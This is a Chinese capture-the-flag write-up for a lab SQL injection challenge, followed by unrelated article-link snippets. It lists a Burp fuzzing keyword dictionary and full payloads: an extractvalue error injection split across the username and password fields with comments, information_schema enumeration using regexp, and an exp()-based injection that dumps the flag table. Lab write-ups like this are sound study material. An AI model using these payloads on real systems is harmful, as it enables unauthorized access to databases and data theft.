实验吧——加了料的报错注入(exp报错注入)
题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php
先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询
测试了一个报错函数发现如下回显,可见屏蔽了报错信息,也有可能是监测到了updatexml这个报错函数,于是先用burp来fuzzing测试一波,看看哪些关键字
被屏蔽了
burp抓包并send to intruder
分别对username和password进行fuzzing测试,这里演示username的,设置完后点击start attact
fuzzing测试的字典我是自己写的,就写了些常见的关键字,你们可以将就用下
and
or
=
>
<
(
)
()
'
"
regexp
substr
mid
left
join
rigth
like
select
from
union
,
updatexml
extractvalue
exp
char
ascii
insert
into
delete
update
alter
create
where
/*
*/
--
--
#
all
distinct
not
as
order
by
desc
asc
having
floor
geometrycollection
polygon
multipoint
multilinestring
linestring
multipolygon
最后得出username处屏蔽了括号,=,substr 等等关键字
而password屏蔽了如updatexml,extractvalue等等会产生报错的函数,还有union,like 等等
似乎有点矛盾,想要报错注入,必须要构造一个报错函数,函数名 和 括号 缺一不可,但是两个注入点都不满足条件。但是可以将两个注入点“打通”,前者函数名,后者括号不就行了?于是构造如下
username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '
后台的查询语句就为
select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '
去掉注释即为
select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '
然后猜解表名,因为password屏蔽了=,所以用regexp
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '
猜解列名
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '
猜解字段
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '
这道题其实对于报错函数的过滤还有一个漏网之鱼——exp()
详见http://netsecurity.51cto.com/art/201508/489529.htm
所以构造
username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '
实验吧——加了料的报错注入(exp报错注入)的更多相关文章
- 关于Spring3报org.aopalliance.intercept.MethodInterceptor错的问题解决方法_JavaLeader_新浪博客
body { font-family: "Microsoft YaHei UI","Microsoft YaHei",SimSun,"Segoe UI ...
- 两个由于php.ini配置错误导致的报错:ajax图片上传报错和exec报错
遇到了两个由于php.ini配置错误导致的报错:ajax图片上传报错和exec报错 首先第一个: 在做一个用ajax图片上传的功能中,php报了这样一个错误:File upload error - u ...
- maven项目检出后报错(包括编译报错和运行报错)的常见检查处理方式
maven项目检出后报错(包括编译报错和运行报错)的常见检查处理方式: 1.更改项目的jdk为我们安装的jdk2.更改build配置里的 output folder 目录为 xxx项目名/target ...
- idea的service注入mapper报错
一.问题 idea的java项目中,service类中注入mapper报错 二.解决 方法1 在mapper类上加上 @Repository 注解即可,当然不加也行,程序也不回报错,是idea的误报 ...
- vue router引入路由与路由配置容易犯错的地方与常见的报错与处理报错
首先npm安装vue-router插件,就不说了其次: 先看下我本地的目录结构吧 第一步:在src目录下新建一个专门存放router的index.js文件里面的内容为: import Vue from ...
- [sql 注入] insert 报错注入与延时盲注
insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...
- sql注入之报错注入and boolean注入
1.sql注入之报错注入 正常传参,返回页面正常: 加入' 返回页面报错,出现"zhangsan"' 报错注入使用的函数 在这里我们使用 select updatexml(1,c ...
- a += 20 和 a = a+20前者不报错,后者报错的原因
我们在使用a += 20 和 a = a+20两种不同方式的赋值运算是发现尽然前者不报错,后者报错 代码示例: shot s = 5; s += 5; s = s+5; 很明显我们可以看出s = s+ ...
- Mssql显错和不显错模式下的注入
Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51 近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用! -------------------- ...
随机推荐
- 11-numpy笔记-莫烦基础操作1
代码 import numpy as np array = np.array([[1,2,5],[3,4,6]]) print('-1-') print('数组维度', array.ndim) pri ...
- CBV和FBV用户认证装饰器
FBV装饰器用户验证 CBV装饰器用户验证 装饰器位置 或 或
- Spring Boot 2.x 已经发布了很久,现在 Spring Cloud 也发布了 基于 Spring Boot 2.x 的 Finchley 版本,现在一起为项目做一次整体框架升级。
升级前 => 升级后 Spring Boot 1.5.x => Spring Boot 2.0.2 Spring Cloud Edgware SR4 => Spring Cloud ...
- ASP.NET CoreMVC 中的控制器
Controller in ASP.NET Core MVC 在本节中,我们将讨论 Controller 是什么以及它在 ASP.NET Core MVC 中的作用. Fiddler 需要大家提前装一 ...
- B1023 组个最小数 (20 分)
一.技术总结 这一题主要的处理点是数字0别在第一个位置输出,这里提供两种解决思路. 一个是直接在一个for循环里面只要输出了一个位置后直接判断,是否了0的数字可以输出. 还有一个就是直接for循环一次 ...
- ORACLE 10g 升级 11g问题汇总(转载文)
按照计划开始了生产库的升级,环境基于linux 64位. uname: Linux 2.6.18-308.el5 #1 SMP Fri Jan 27 17:17:51 EST 2012 x86_64 ...
- Oracle 11g的一些常用语句记录
一.表空间 1.创建临时表空间: create temporary tablespace project_temp tempfile 'D:\Oracle\dataspace\project_temp ...
- Netty FixedChannelPool
如今越来越多的应用采用Netty作为服务端高性能异步通讯框架,对于客户端而言,大部分需求只需和服务端建立一条链接收发消息.但如果客户端需要和服务端建立多条链接的例子就比较少了. 最简单的实现就是一个f ...
- SpringBoot第十三篇:日志处理
作者:追梦1819 原文:https://www.cnblogs.com/yanfei1819/p/10973583.html 版权声明:本文为博主原创文章,转载请附上博文链接! 引言 日志是软件 ...
- java中的对象、类、包、模块、组件、容器、框架、架构的概念入门
在Java中有那么一些概念:对象.类.包.模块.组件.容器.框架.这些概念都有一个共同的特点,就是[容纳]. 对象(Object) 在Java的世界里,对象是通过属性和方法来分别对应事务所具有的静态属 ...